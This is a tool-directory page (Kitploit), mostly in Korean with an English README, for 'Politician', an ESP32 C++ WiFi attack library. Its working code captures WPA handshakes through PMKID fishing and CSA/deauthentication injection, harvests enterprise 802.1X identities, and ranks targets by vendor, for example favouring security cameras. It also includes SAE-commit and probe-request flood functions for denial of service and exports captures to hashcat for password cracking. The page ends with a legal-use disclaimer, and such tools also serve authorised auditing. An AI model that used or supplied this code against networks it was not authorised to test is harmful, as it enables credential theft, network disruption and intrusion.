Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/0ldev/politician
Embedded Systems SecurityPassword CrackingWi-Fi AuditingIoT SecurityInformation GatheringFuzzingWireless SecurityPenetration TestingHardware Security
GitHub0ldev/politician

Politician

ESP32용 최신 WiFi 감사 라이브러리로, 고급 802.11 기술을 사용합니다. PMKID 추출 및 CSA 인젝션(PMF 우회)을 통해 WPA/WPA2/WPA3 핸드셰이크를 캡처합니다. 엔터프라이즈 자격 증명을 수집하고, 듀얼 밴드(ESP32-C6에서 2.4GHz/5GHz)를 지원하며, PCAPNG/Hashcat으로 내보냅니다. 9개의 예제가 포함된 깔끔한 C++ API를 제공합니다.

93610729일 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기웹사이트

Politician

ESP32 마이크로컨트롤러를 위한 정교한 WiFi 감사 라이브러리

License: MIT PlatformIO

Politician은 ESP32 플랫폼에서 WiFi 보안 감사를 위해 설계된 임베디드 C++ 라이브러리입니다. 고급 802.11 프로토콜 기술을 활용하여 WPA/WPA2/WPA3 핸드셰이크 캡처와 엔터프라이즈 자격 증명 수집을 위한 깔끔하고 현대적인 API를 제공합니다.

주요 기능

  • PMKID 캡처: 클라이언트 연결 해제 없이 연결 응답에서 PMKID 추출
  • CSA(채널 전환 알림) 주입: 비인증 공격의 현대적 대안
  • 엔터프라이즈 자격 증명 수집: 802.1X 네트워크에서 EAP-Identity 프레임 캡처
  • 숨겨진 네트워크 탐색: 프로브 응답 가로채기를 통한 자동 SSID 노출
  • 장치 지문 인식: 네트워크 연결 없이 MAC OUI 및 IE 서명을 통해 150개 이상의 소비자 IoT/스마트 홈 브랜드 수동 식별
  • 클라이언트 자극: QoS Null Data 프레임을 사용하여 절전 모바일 장치 깨우기
  • WPA3/PMF 감지: 보호 관리 프레임이 활성화된 네트워크를 건너뛰는 지능형 필터링
  • 내보내기 형식: PCAPNG 캡처 파일; Hashcat 직접 처리용 선택적 HC22000 텍스트 내보내기

아키텍처

라이브러리는 채널 호핑, 대상 선택, 공격 실행 및 캡처 처리를 관리하는 비차단 상태 머신을 기반으로 구축되었습니다. 모든 작업은 politician 네임스페이스 내에 포함됩니다.

핵심 구성 요소

공격 모드

기존 비인증 공격은 최신 WPA3 및 보호 관리 프레임(PMF/802.11w)이 있는 WPA2 네트워크에 대해 비효율적입니다. Politician은 현대적인 대안을 구현합니다:

설치

PlatformIO

platformio.ini에 추가:```ini [env:myboard] platform = espressif32 board = esp32dev framework = arduino lib_deps = Politician

root@kitploit:~
또는 프로젝트의 `lib/` 디렉토리에 직접 클론하십시오:```bash
cd lib/
git clone https://github.com/0ldev/Politician.git

Arduino IDE

  1. 라이브러리를 ZIP 파일로 다운로드합니다.
  2. Arduino IDE에서: Sketch → Include Library → Add .ZIP Library
  3. 다운로드한 ZIP 파일을 선택합니다.

ESP-IDF

저장소를 프로젝트의 components/ 디렉토리로 클론합니다:```bash cd components/ git clone https://github.com/0ldev/Politician.git

root@kitploit:~
`components/Politician/CMakeLists.txt` 컴포넌트 설명자를 생성합니다:```cmake
idf_component_register(
    SRCS
        "src/Politician.cpp"
        "src/PoliticianFormat.cpp"
        "src/PoliticianStress.cpp"
    INCLUDE_DIRS "src"
)

PoliticianStorage.h는 ESP-IDF에서 사용할 수 없습니다 — Arduino 외부에서 포함되면 컴파일 타임에 #error를 발생시킵니다. 지속성이 필요한 경우 ESP-IDF의 VFS 및 nvs_flash API를 직접 사용하세요.

빠른 시작

기본 핸드셰이크 캡처```cpp

#include <Arduino.h> #include <SD.h> #include <Politician.h> #include <PoliticianStorage.h>

using namespace politician; using namespace politician::storage;

Politician engine;

void onHandshake(const HandshakeRecord &rec) { Serial.printf("\n[✓] Captured: %s ch%d rssi=%d type=%d\n", rec.ssid, rec.channel, rec.rssi, rec.type); // Primary output: PCAPNG — open in Wireshark or convert with hcxpcapngtool PcapngFileLogger::append(SD, "/captures.pcapng", rec); }

void setup() { Serial.begin(115200); SD.begin();

root@kitploit:~
engine.setEapolCallback(onHandshake);

Config cfg;
engine.begin(cfg);
engine.setAttackMask(ATTACK_ALL);

}

void loop() { engine.tick(); }

root@kitploit:~
### 기본 ESP-IDF 빠른 시작

ESP-IDF에서 `begin()`은 내부적으로 `esp_wifi_init()`을 호출하지만, NVS와 기본 이벤트 루프가 이미 초기화되어 있어야 합니다. `begin()` 전에 이들을 호출한 후, FreeRTOS 태스크에서 엔진을 구동하십시오.```cpp
#include <nvs_flash.h>
#include <esp_event.h>
#include <freertos/FreeRTOS.h>
#include <freertos/task.h>
#include <Politician.h>

using namespace politician;

static Politician engine;

static void on_handshake(const HandshakeRecord &rec) {
    printf("[+] Captured: %s  ch%d  rssi=%d  type=%d\n",
           rec.ssid, rec.channel, rec.rssi, rec.type);
}

static void audit_task(void *) {
    Config cfg;
    engine.setEapolCallback(on_handshake);

    if (engine.begin(cfg) != OK) {
        printf("[!] WiFi init failed\n");
        vTaskDelete(nullptr);
        return;
    }

    engine.setAttackMask(ATTACK_ALL);

    for (;;) {
        engine.tick();
        vTaskDelay(pdMS_TO_TICKS(1));
    }
}

extern "C" void app_main(void) {
    nvs_flash_init();
    esp_event_loop_create_default();

    xTaskCreate(audit_task, "politician", 8192, nullptr, 5, nullptr);
}

API 참조

Politician 클래스

메인 엔진 클래스입니다. 메인 루프에서 tick()을 호출해야 합니다.

초기화```cpp

Error begin(const Config& cfg = Config());

root@kitploit:~
엔진을 초기화합니다. 성공 시 `OK`를 반환하고 실패 시 `Error` 코드를 반환합니다. 다른 메서드보다 먼저 호출되어야 합니다.

#### 설정 구조```cpp
struct Config {
    uint16_t hop_dwell_ms           = 200;   // Static time spent on each channel (ms)
    bool     smart_hopping          = true;  // Dynamic channel dwell time based on traffic
    uint16_t hop_min_dwell_ms       = 50;    // Minimum dwell if no traffic is seen
    uint16_t hop_max_dwell_ms       = 400;   // Maximum dwell if traffic is active
    uint32_t m1_lock_ms             = 800;   // How long to stay on channel after seeing M1
    uint32_t fish_timeout_ms        = 2000;  // Timeout per PMKID association attempt
    uint8_t  fish_max_retries       = 2;     // PMKID retries before pivoting to CSA
    uint32_t csa_wait_ms            = 4000;  // Wait window after CSA/Deauth burst
    uint8_t  csa_beacon_count       = 8;     // Number of CSA beacons per burst
    uint8_t  deauth_burst_count     = 16;    // Frames per standalone deauth burst
    uint8_t  csa_deauth_count       = 15;    // Deauth frames appended after CSA burst
    uint16_t probe_aggr_interval_s  = 30;    // Seconds between re-attacking the same AP
    uint32_t session_timeout_ms     = 60000; // How long orphaned sessions live in RAM
    bool     capture_half_handshakes = false; // Fire callback on M2-only captures and pivot to active attack
    bool     skip_immune_networks   = true;  // Skip pure WPA3 / PMF-Required networks
    uint8_t  capture_filter         = LOG_FILTER_HANDSHAKES | LOG_FILTER_PROBES;
    int8_t   min_rssi               = -100;  // Ignore APs weaker than this signal (dBm)
    uint32_t ap_expiry_ms           = 300000; // Evict APs not seen for this long (0 = never expire)
    bool     unicast_deauth         = true;  // Send deauth to known client MAC instead of broadcast
    uint32_t probe_hidden_interval_ms = 0;   // How often to probe hidden APs for SSID (0 = disabled, opt-in)
    uint8_t  deauth_reason          = 7;     // 802.11 reason code in deauth frames
    bool     deauth_reason_cycling  = true;  // Cycle through effective reason codes (fuzzing)
    // ── Frame capture
    bool     capture_group_keys     = false; // Fire eapolCb(CAP_EAPOL_GROUP) on GTK rotation frames
    // ── Filtering
    uint8_t  min_beacon_count       = 0;     // Min times AP must be seen before attack/apFoundCb (0 = off)
    uint8_t  max_total_attempts     = 0;     // Permanently skip BSSID after N failed attacks (0 = unlimited)
    uint8_t  sta_filter[6]          = {};    // Only record EAPOL from this client MAC (zero = no filter)
    char     ssid_filter[33]        = {};    // Only cache APs matching this SSID (empty = no filter)
    bool     ssid_filter_exact      = true;  // True = exact match, false = substring match
    uint8_t  enc_filter_mask        = 0xFF;  // Bitmask of enc types to cache
    bool     require_active_clients = false; // Skip attack initiation if no active clients seen on AP
};

고급 기능

자율 헌터 (핑거프린트 인식 타겟팅)

내장 OUI 데이터베이스를 사용하여 autoTarget 중 특정 장치 공급업체를 우선시합니다:```cpp // 1. Define your targeting policy int hunterScore(const ApRecord &ap, const char *vendor) { int score = ap.rssi; // Start with signal strength

root@kitploit:~
// Prioritize high-value targets
if (strstr(vendor, "Apple"))   score += 50;
if (strstr(vendor, "Hikvision")) score += 80; // Security Cameras

// Ignore uninteresting noise
if (ap.flags.is_hidden) score -= 100;

return score;

}

void setup() { engine.begin(); engine.setTargetScoreCallback(hunterScore); engine.setAutoTarget(true); engine.startHopping(); }

root@kitploit:~
#### 사용자 정의 프레임 주입 및 퍼징

정확한 채널 제어로 임의의 802.11 프레임을 주입합니다:```cpp
// Malformed Probe Request for fuzzing
uint8_t malformedFrame[] = { 0x40, 0x00, ... };

void loop() {
    engine.tick();
    
    // Inject immediately on channel 6, locking the hopper for 100ms
    engine.injectCustomFrame(malformedFrame, sizeof(malformedFrame), 6, 100);
    
    // Queue for stealthy injection (fires only when hopper lands on ch 11)
    engine.injectCustomFrame(malformedFrame, sizeof(malformedFrame), 11, 0, true);
}

연결 해제 전략

공격 방법을 순차적으로 연결하여 은밀성을 최적화합니다:```cpp void setup() { Config cfg; engine.begin(cfg);

root@kitploit:~
// Attempt CSA (Stealthy) first, fallback to Deauth only if needed
engine.setDisconnectionStrategy(STRATEGY_AUTO_FALLBACK);

engine.setAttackMask(ATTACK_CSA | ATTACK_DEAUTH);

}

root@kitploit:~
#### 802.11u 인터워킹 검색

공공 네트워크의 물리적 장소 컨텍스트를 발견하십시오:```cpp
void onAp(const ApRecord &ap) {
    if (ap.venue_group != 0) {
        Serial.printf("Venue: Group %d, Type %d\n", ap.venue_group, ap.venue_type);
        // e.g., Group 2 (Education), Type 8 (University)
    }
}

콜백```cpp

void setEapolCallback(EapolCb cb); // Handshake captured (EAPOL, PMKID, or group key) void setApFoundCallback(ApFoundCb cb); // New AP discovered (respects min_beacon_count) void setIdentityCallback(IdentityCb cb); // 802.1X EAP-Identity harvested void setAttackResultCallback(AttackResultCb cb);// Attack exhausted without capturing void setTargetFilter(TargetFilterCb cb); // Early filter — return false to ignore AP void setPacketLogger(PacketCb cb); // Raw promiscuous-mode frames void setProbeRequestCallback(ProbeRequestCb cb);// Probe request received (client device history) void setDisruptCallback(DisruptCb cb); // Deauth/Disassoc frame received void setClientFoundCallback(ClientFoundCb cb); // New client STA seen associated to an AP void setRogueApCallback(RogueApCb cb); // Second BSSID with same SSID on same channel (evil twin)

root@kitploit:~
#### 상태 및 통계```cpp
bool    isActive()    const;  // True if frame processing is enabled
bool    isAttacking() const;  // True if a PMKID/CSA attack is in progress
bool    hasTarget()   const;  // True if focused on a specific BSSID
uint8_t getChannel()  const;  // Current radio channel
int8_t  getLastRssi() const;  // RSSI of the last received frame
Stats&  getStats();           // Reference to frame counters (captures, failures, etc.)
Config& getConfig();          // Reference to the active config for runtime mutations
void    resetStats();         // Zero all counters
int     getApCount() const;   // Number of APs in the discovery cache
bool    getAp(int idx, ApRecord &out) const;                  // Read AP from cache by index
bool    getApByBssid(const uint8_t* bssid, ApRecord &out) const; // Look up AP by BSSID
int     getClientCount(const uint8_t* bssid) const;           // Number of clients seen on AP (0-4)
bool    getClient(const uint8_t* bssid, int idx, uint8_t out_sta[6]) const; // Read client MAC by index

엔진 제어```cpp

void setActive(bool active); // Enable or disable frame processing without full teardown void setLogger(LogCb cb); // Redirect internal log output to a custom callback

root@kitploit:~
#### 대상 & 채널 제어```cpp
Error setTarget(const uint8_t* bssid, uint8_t channel); // Focus on one BSSID
void  clearTarget();                                     // Resume autonomous operation
Error setChannel(uint8_t ch);                            // Tune to a specific channel
Error lockChannel(uint8_t ch);                           // Stop hopping, lock channel
void  startHopping(uint16_t dwellMs = 0);                // Start channel hopping
void  stopHopping();                                     // Stop hopping (attack state machine continues)
void  stop();                                            // Full teardown: abort attack, clear target, stop hopping, disable capture
void  setChannelList(const uint8_t* channels, uint8_t count); // Restrict hop sequence
void  setChannelBands(bool ghz24, bool ghz5);                // Hop 2.4GHz, 5GHz, or both
Error setTargetBySsid(const char* ssid);                     // Lock target by SSID (picks strongest match from cache)
void  setAutoTarget(bool enable);                            // Continuously auto-target strongest uncaptured AP

캡처된 목록```cpp

void markCaptured(const uint8_t* bssid); // Skip this BSSID forever void clearCapturedList(); // Reset captured list void setIgnoreList(const uint8_t (*bssids)[6], uint8_t count); // Permanent ignore list

root@kitploit:~
#### 공격 제어```cpp
void setAttackMask(uint8_t mask);                                // Configure active attack vectors (bitmask)
void setAttackMaskForBssid(const uint8_t* bssid, uint8_t mask); // Per-BSSID override (up to 8 entries)
void clearAttackMaskOverrides();                                  // Remove all per-BSSID overrides

공격 모드 상수```cpp

#define ATTACK_PMKID 0x01 // PMKID fishing via fake association #define ATTACK_CSA 0x02 // Channel Switch Announcement injection #define ATTACK_PASSIVE 0x04 // Listen-only — zero transmission #define ATTACK_DEAUTH 0x08 // Classic deauthentication (Reason 7) #define ATTACK_STIMULATE 0x10 // QoS Null Data client stimulation #define ATTACK_ALL 0x1F // All attack vectors

root@kitploit:~
#### 캡처 유형 상수```cpp
#define CAP_PMKID        0x01  // PMKID extracted via fake association
#define CAP_EAPOL        0x02  // Full M1+M2 from passive capture
#define CAP_EAPOL_CSA    0x03  // Full M1+M2 triggered by CSA/Deauth
#define CAP_EAPOL_HALF   0x04  // M2-only (no anonce) — active attack pivot fired
#define CAP_EAPOL_GROUP  0x05  // Non-pairwise EAPOL-Key (GTK rotation)

캡처 필터 상수```cpp

#define LOG_FILTER_HANDSHAKES 0x01 // EAPOLs and PMKIDs (SPI-safe) #define LOG_FILTER_PROBES 0x02 // Probe requests and responses (SPI-safe) #define LOG_FILTER_BEACONS 0x04 // Beacons — high volume, SDMMC only #define LOG_FILTER_PROBE_REQ 0x08 // Probe requests as raw EPBs (SPI-safe) #define LOG_FILTER_MGMT_DISRUPT 0x10 // Deauth/Disassoc frames as raw EPBs (SPI-safe) #define LOG_FILTER_ALL 0xFF // Everything — SDMMC only

root@kitploit:~
### 데이터 구조

#### 통계```cpp
struct Stats {
    uint32_t total;              // Total frames received
    uint32_t mgmt;               // Management frames
    uint32_t ctrl;               // Control frames
    uint32_t data;               // Data frames
    uint32_t eapol;              // EAPOL frames detected
    uint32_t pmkid_found;        // PMKIDs captured
    uint32_t beacons;            // Beacon and probe-response frames
    uint32_t captures;           // Total successful captures
    uint32_t failed_pmkid;       // PMKID attempts exhausted without capture
    uint32_t failed_csa;         // CSA/Deauth windows expired without EAPOL
    uint16_t channel_frames[14]; // Frames per 2.4GHz channel (index 0 = ch1 … index 13 = ch14)
};

HandshakeRecord```cpp

struct HandshakeRecord { uint8_t type; // CAP_PMKID / CAP_EAPOL / CAP_EAPOL_CSA / CAP_EAPOL_HALF / CAP_EAPOL_GROUP uint8_t channel; int8_t rssi; uint8_t bssid[6]; uint8_t sta[6]; // Client (station) MAC char ssid[33]; uint8_t ssid_len; uint8_t enc; // 0=Open, 1=WEP, 2=WPA, 3=WPA2/WPA3, 4=Enterprise // PMKID path uint8_t pmkid[16]; // EAPOL path uint8_t anonce[32]; uint8_t mic[16]; uint8_t eapol_m2[256]; uint16_t eapol_m2_len; bool has_mic; bool has_anonce; };

root@kitploit:~
#### EapIdentityRecord```cpp
struct EapIdentityRecord {
    uint8_t bssid[6];       // Access Point MAC
    uint8_t client[6];      // Enterprise client MAC
    char    identity[65];   // Plaintext identity / email
    uint8_t channel;
    int8_t  rssi;
};

ApRecord```cpp

struct ApRecord { uint8_t bssid[6]; char ssid[33]; uint8_t ssid_len; uint8_t channel; int8_t rssi; uint8_t enc; // 0=Open, 1=WEP, 2=WPA, 3=WPA2/WPA3, 4=Enterprise bool wps_enabled; // WPS IE detected in beacon/probe-response bool pmf_capable; // MFPC — AP supports Protected Management Frames bool pmf_required; // MFPR — AP mandates PMF (pure WPA3 / PMF-Required) uint8_t total_attempts; // Failed attack attempts against this BSSID bool captured; // True if BSSID is on the captured or ignore list bool ft_capable; // 802.11r FT AKM advertised (FT-PSK suite 4 or FT-EAP suite 3) uint32_t first_seen_ms; // millis() timestamp when this AP was first observed uint32_t last_seen_ms; // millis() timestamp of the most recent beacon or probe response char country[3]; // ISO 3166-1 alpha-2 country code from IE 7 (e.g. "US"), empty if absent uint16_t beacon_interval; // Advertised beacon interval in TUs (1 TU = 1024 µs), 0 if unknown uint8_t max_rate_mbps; // Highest legacy data rate from Supported Rates IE (Mbps), 0 if unknown };

root@kitploit:~
#### AttackResultRecord```cpp
enum AttackResult : uint8_t {
    RESULT_PMKID_EXHAUSTED = 1,  // All PMKID retries failed
    RESULT_CSA_EXPIRED     = 2,  // CSA/Deauth window closed, no EAPOL received
};

struct AttackResultRecord {
    uint8_t      bssid[6];
    char         ssid[33];
    uint8_t      ssid_len;
    AttackResult result;
};

RogueApRecord```cpp

struct RogueApRecord { uint8_t known_bssid[6]; // BSSID of the first AP already cached with this SSID uint8_t rogue_bssid[6]; // BSSID of the newly observed AP sharing the same SSID char ssid[33]; // The shared SSID uint8_t ssid_len; uint8_t channel; // Channel on which the conflict was detected int8_t rssi; // Signal strength of the rogue AP (dBm) };

root@kitploit:~
#### ProbeRequestRecord```cpp
struct ProbeRequestRecord {
    uint8_t client[6];   // Probing device MAC
    uint8_t channel;
    int8_t  rssi;
    char    ssid[33];    // Requested SSID (empty = wildcard probe)
    uint8_t ssid_len;
    bool    rand_mac;    // True if locally administered bit set (iOS/Android MAC randomization)
};

DisruptRecord```cpp

struct DisruptRecord { uint8_t src[6]; // Frame source MAC uint8_t dst[6]; // Frame destination MAC uint8_t bssid[6]; // BSSID (addr3) uint16_t reason; // 802.11 reason code uint8_t subtype; // MGMT_SUB_DEAUTH (0xC0) or MGMT_SUB_DISASSOC (0xA0) uint8_t channel; int8_t rssi; bool rand_mac; // True if source MAC has locally administered bit set (randomized) };

root@kitploit:~
### Format Utilities

PCAPNG는 기본 캡처 형식입니다 — 도구에 구애받지 않으며, 전체 프레임 컨텍스트를 보존하고, Wireshark에서 열거나 `hcxpcapngtool`을 통해 파이프할 수 있습니다. HC22000은 중간 변환 단계 없이 캡처를 `hashcat`에 직접 공급하려는 사용자를 위한 보조 텍스트 내보내기입니다.```cpp
// Convert a HandshakeRecord to an HC22000 string (auxiliary — use PCAPNG as the primary output)
String toHC22000(const HandshakeRecord& rec);

// Write PCAPNG global header (SHB + IDB) — call once at file start
size_t writePcapngGlobalHeader(uint8_t* buffer);

// Serialize a HandshakeRecord into PCAPNG Enhanced Packet Blocks
size_t writePcapngRecord(const HandshakeRecord& rec, uint8_t* buffer, size_t max_len);

// Serialize a raw 802.11 frame into a PCAPNG Enhanced Packet Block
size_t writePcapngPacket(const uint8_t* payload, size_t len,
                        int8_t rssi, uint8_t channel, uint64_t ts_usec, 
                        uint8_t* buffer, size_t max_len);```

### Stress Utilities (Opt-in)

Requires `#include <PoliticianStress.h>`. Not linked unless explicitly included.

```cpp
// WPA3 AP에 SAE Commit 프레임을 플러딩하여 안티-클로깅 토큰 힙을 소진시킵니다.
stress::saeCommitFlood(const uint8_t* bssid, uint32_t count = 1000);

// 무작위 Probe Request로 주변 AP를 플러딩하여 연결 큐를 포화시킵니다.
stress::probeRequestFlood(uint32_t count = 1000);```

### Storage Utilities (Optional)

Requires `#include <PoliticianStorage.h>`.

```cpp
// 핸드셰이크를 PCAPNG 파일에 추가 (전역 헤더 자동 기록)
PcapngFileLogger::append(fs::FS& fs, const char* path,
                         const HandshakeRecord& rec);

// 원시 802.11 프레임을 PCAPNG 파일에 추가
PcapngFileLogger::appendPacket(fs::FS& fs, const char* path,
                               const uint8_t* payload, uint16_t len,
                               int8_t rssi, uint32_t ts_usec);

// 핸드셰이크 상세 정보를 Wigle CSV에 추가
WigleCsvLogger::append(fs::FS& fs, const char* path,
                       const HandshakeRecord& rec, float lat, float lon,
                       float alt = 0.0, float acc = 10.0,
                       const char* timestamp = nullptr);  // 예: "2024-06-01 14:30:00"

// 발견된 모든 AP를 Wigle CSV에 추가 (setApFoundCallback과 함께 사용)
WigleCsvLogger::appendAp(fs::FS& fs, const char* path,
                         const ApRecord& ap, float lat, float lon,
                         float alt = 0.0, float acc = 10.0,
                         const char* timestamp = nullptr);

// 핸드셰이크를 HC22000 텍스트 파일에 추가
Hc22000FileLogger::append(fs::FS& fs, const char* path,
                           const HandshakeRecord& rec);

// 수집된 엔터프라이즈 ID를 CSV에 추가
EnterpriseCsvLogger::append(fs::FS& fs, const char* path,
                            const EapIdentityRecord& rec);```

## Usage Examples

### Targeted Network Auditing

Use callbacks to filter networks by signal strength, encryption type, or SSID pattern:

```cpp
engine.setTargetFilter([](const politician::ApRecord &ap) {
    // Only audit strong signals
    if (ap.rssi < -70) return false;
    
    // Skip Open/WEP networks
    if (ap.enc < 3) return false;
    
    // Skip corporate networks  
    if (strstr(ap.ssid, "CORP-") != nullptr) return false;
    
    return true;
});```

### Selective Attack Modes

```cpp

// 최신 CSA 전용 (PMF 우회) engine.setAttackMask(ATTACK_CSA);

// 레거시 네트워크용 클래식 디어쓰 engine.setAttackMask(ATTACK_DEAUTH);

// 클라이언트 자극을 통한 수동 모니터링 engine.setAttackMask(ATTACK_PASSIVE | ATTACK_STIMULATE);

// 완전 공격 engine.setAttackMask(ATTACK_ALL);

root@kitploit:~

### Enterprise Credential Harvesting

```cpp
void onIdentity(const EapIdentityRecord &rec) {
    char bssid[18];
    snprintf(bssid, sizeof(bssid), "%02X:%02X:%02X:%02X:%02X:%02X",
             rec.bssid[0], rec.bssid[1], rec.bssid[2],
             rec.bssid[3], rec.bssid[4], rec.bssid[5]);
    Serial.printf("[802.1X] %s → %s\n", bssid, rec.identity);
    EnterpriseCsvLogger::append(SD, "/identities.csv", rec);
}

void setup() {
    engine.setIdentityCallback(onIdentity);

    Config cfg;
    cfg.hop_dwell_ms = 800;  // EAP 교환을 위한 더 긴 체류 시간
    engine.begin(cfg);
}```

### Persistent Storage

The core library is decoupled from filesystem dependencies. Optionally include `PoliticianStorage.h` for SD card logging:

```cpp
#include <PoliticianStorage.h>
#include <SD.h>

using namespace politician::storage;

void onHandshake(const HandshakeRecord &rec) {
    // PCAPNG 파일에 추가 (헤더 자동 생성)
    PcapngFileLogger::append(SD, "/captures.pcapng", rec);
}

void onPacket(const uint8_t* payload, uint16_t len, int8_t rssi, uint8_t channel, uint32_t ts) {
    // 원시 802.11 프레임 기록
    PcapngFileLogger::appendPacket(SD, "/intel.pcapng", payload, len, rssi, channel, ts);
}

void setup() {
    SD.begin();
    engine.setEapolCallback(onHandshake);
    engine.setPacketLogger(onPacket);
    
    Config cfg;
    cfg.capture_filter = LOG_FILTER_HANDSHAKES | LOG_FILTER_PROBES;
    engine.begin(cfg);
}```

**⚠️ Logging Performance Warning**

Beacon logging (`LOG_FILTER_BEACONS`) can generate 500+ writes/second. Standard SPI SD card writes are **blocking** and will freeze the engine. For high-volume logging, use ESP32 boards with native **SDMMC** (4-bit) hardware support and DMA.

### GPS Integration (Wigle.net)

Combine with a GPS module for wardriving datasets:

```cpp
#include <TinyGPS++.h>

TinyGPSPlus gps;

// 발견된 모든 AP 로깅 (ApRecord에 대해 appendAp 사용)
void onAp(const ApRecord &ap) {
    if (gps.location.isValid()) {
        WigleCsvLogger::appendAp(SD, "/wardrive.csv", ap,
                                 gps.location.lat(),
                                 gps.location.lng());
    }
}

// GPS 컨텍스트와 함께 캡처된 핸드셰이크 로깅 (HandshakeRecord에 대해 append 사용)
void onHandshake(const HandshakeRecord &rec) {
    if (gps.location.isValid()) {
        WigleCsvLogger::append(SD, "/wardrive.csv", rec,
                               gps.location.lat(),
                               gps.location.lng());
    }
}```

## Advanced Features

### Half-Handshakes and Smart Pivot

When `cfg.capture_half_handshakes = true`, the engine fires the EAPOL callback with `type = CAP_EAPOL_HALF` on M2-only captures. These records have no `anonce` so they cannot be directly cracked, but they confirm an active client is present.

The engine immediately executes a **Smart Pivot**:
1. Marks the network as having active clients
2. Launches CSA/Deauth to force a fresh 4-way handshake
3. Captures the complete M1+M2 on reconnection

### Attack Result Callbacks

Register `setAttackResultCallback()` to be notified when an attack exhausts all options without capturing anything. Useful for logging failed targets or adjusting strategy at runtime:

```cpp
engine.setAttackResultCallback([](const AttackResultRecord &res) {
    char bssid[18];
    snprintf(bssid, sizeof(bssid), "%02X:%02X:%02X:%02X:%02X:%02X",
             res.bssid[0], res.bssid[1], res.bssid[2],
             res.bssid[3], res.bssid[4], res.bssid[5]);
    if (res.result == RESULT_PMKID_EXHAUSTED)
        Serial.printf("[!] PMKID 실패: %s (%s)\n", res.ssid, bssid);
    else if (res.result == RESULT_CSA_EXPIRED)
        Serial.printf("[!] CSA/Deauth 시간 초과: %s (%s)\n", res.ssid, bssid);
});```

### 802.11r Fast Transition Detection

The engine detects 802.11r Fast Transition AKMs (FT-PSK suite type 4, FT-EAP suite type 3) in beacon and probe-response RSN IEs. When detected, `ApRecord.ft_capable` is set to `true` and a log note is emitted during PMKID fishing.

For FT Transition Mode APs (advertising both FT-PSK and regular WPA2-PSK), standard PMKID capture via the WPA2-PSK path works normally. For FT-only APs, the captured PMKID is FT-derived — save it as PCAPNG and use FT-aware offline tools (e.g. `hcxpcapngtool --enable_ft`) for cracking.

### Hidden Network Discovery

Probe Response frames triggered by deauth bursts automatically reveal hidden SSIDs. The engine caches these with zero configuration required.

### PMF/WPA3 Detection

RSNE (Robust Security Network Element) parsing automatically identifies networks with PMF Required. These are skipped to save time, but WPA3 Transition Mode networks (PMF Capable but not Required) are still targeted.

`ApRecord` exposes `pmf_capable` and `pmf_required` so `setTargetFilter` callbacks can make finer-grained decisions than the binary `skip_immune_networks` config field — for example, to target only WPA3 Transition networks (PMF capable but not required).

## Examples

The library includes complete examples demonstrating various use cases:

| Example | Description |
|---------|-------------|
| `DeviceFingerprinting` | Passive discovery of IoT and consumer electronics |
| `TargetedAuditing` | Network filtering with callbacks |
| `EnterpriseAuditing` | 802.1X identity harvesting |
| `StorageAndNVS` | SD card PCAPNG logging and NVS persistence |
| `WigleIntegration` | GPS wardriving with Wigle CSV export |
| `ExportFormats` | PCAPNG capture and auxiliary HC22000 text export |
| `DynamicControl` | Runtime attack mode switching |
| `AutoEnterpriseHunter` | Automatic enterprise network targeting |
| `SerialStreaming` | Real-time packet streaming |
| `StressTest` | Performance and memory testing |

See the [`examples/`](https://github.com/0ldev/politician/blob/main/examples) directory for complete source code.

## Documentation

Full API documentation is available in the [`docs/`](https://github.com/0ldev/politician/blob/main/docs) directory. Generate fresh documentation:

```bash
doxygen Doxyfile```

Then open `docs/html/index.html` in your browser.


## Hardware Requirements

- **Platform**: ESP32, ESP32-S2, ESP32-S3, ESP32-C3 (ESP32-C6 pending Arduino framework support in PlatformIO)
- **Framework**: Arduino or ESP-IDF — both are supported natively via `src/politician_compat.h`. `PoliticianStorage.h` requires Arduino and will not compile under ESP-IDF.
- **Memory**: Minimum 4MB flash recommended
- **Optional**: SD card module for persistent logging
- **Optional**: GPS module for Wigle integration

## Performance Considerations

- **Channel Hopping**: Default 200ms dwell time balances discovery speed vs. capture reliability
- **Memory**: Core engine uses ~45KB RAM. Storage helpers are opt-in
- **CPU**: Non-blocking state machine keeps `loop()` responsive
- **Half-Handshakes**: Enable for better capture rate on fast-hopping scenarios

## Troubleshooting

**No handshakes captured:**
- Verify WiFi is enabled and promiscuous mode works
- Increase `hop_dwell_ms` for slow-reconnecting devices
- Check if target networks use PMF Required (will be auto-skipped)
- Try `ATTACK_ALL` mask for maximum aggression

**SD card writes fail:**
- Ensure SD.begin() succeeds before logging
- Check file permissions and available space
- Disable `LOG_FILTER_BEACONS` if using SPI SD cards

**Enterprise identities not captured:**
- Increase `hop_dwell_ms` to 800-1200ms for EAP exchanges
- Use `ATTACK_PASSIVE` or `ATTACK_STIMULATE` only
- Aggressive attacks may interrupt EAP authentication

## Legal & Ethical Use

This library is intended for:
- ✅ Authorized penetration testing
- ✅ Security research in controlled environments  
- ✅ Educational purposes with permission
- ✅ Auditing your own networks

**Unauthorized access to networks you do not own or have permission to test is illegal** under laws such as the Computer Fraud and Abuse Act (CFAA) in the United States and similar legislation worldwide.

The authors and contributors assume no liability for misuse of this software.

## Contributing

Contributions are welcome! Please:
1. Fork the repository
2. Create a feature branch
3. Add tests/examples for new features
4. Submit a pull request

## License

MIT License - see [`LICENSE`](https://github.com/0ldev/politician/blob/main/LICENSE) for details.

## Acknowledgments

Special thanks to [justcallmekoko](https://github.com/justcallmekoko) for inspiring this project and the broader hardware hacking community through the [ESP32 Marauder](https://github.com/justcallmekoko/ESP32Marauder) project. Years of learning from Marauder's innovative approaches to WiFi security research have been invaluable.
도구 다운로드
구성 요소설명
Politician감사 수명 주기를 관리하는 주 엔진 클래스
PoliticianFormatPCAPNG 캡처 직렬화; 보조 HC22000 텍스트 내보내기
PoliticianStorage선택적 SD 카드 로깅 및 NVS 영속성
PoliticianStress분리된 DoS/혼란 페이로드 전달 (옵트인)
PoliticianTypes핵심 데이터 구조 및 열거형
모드설명효과
ATTACK_PMKID더미 인증을 통한 PMKID 추출모든 WPA2/WPA3-전환에서 작동
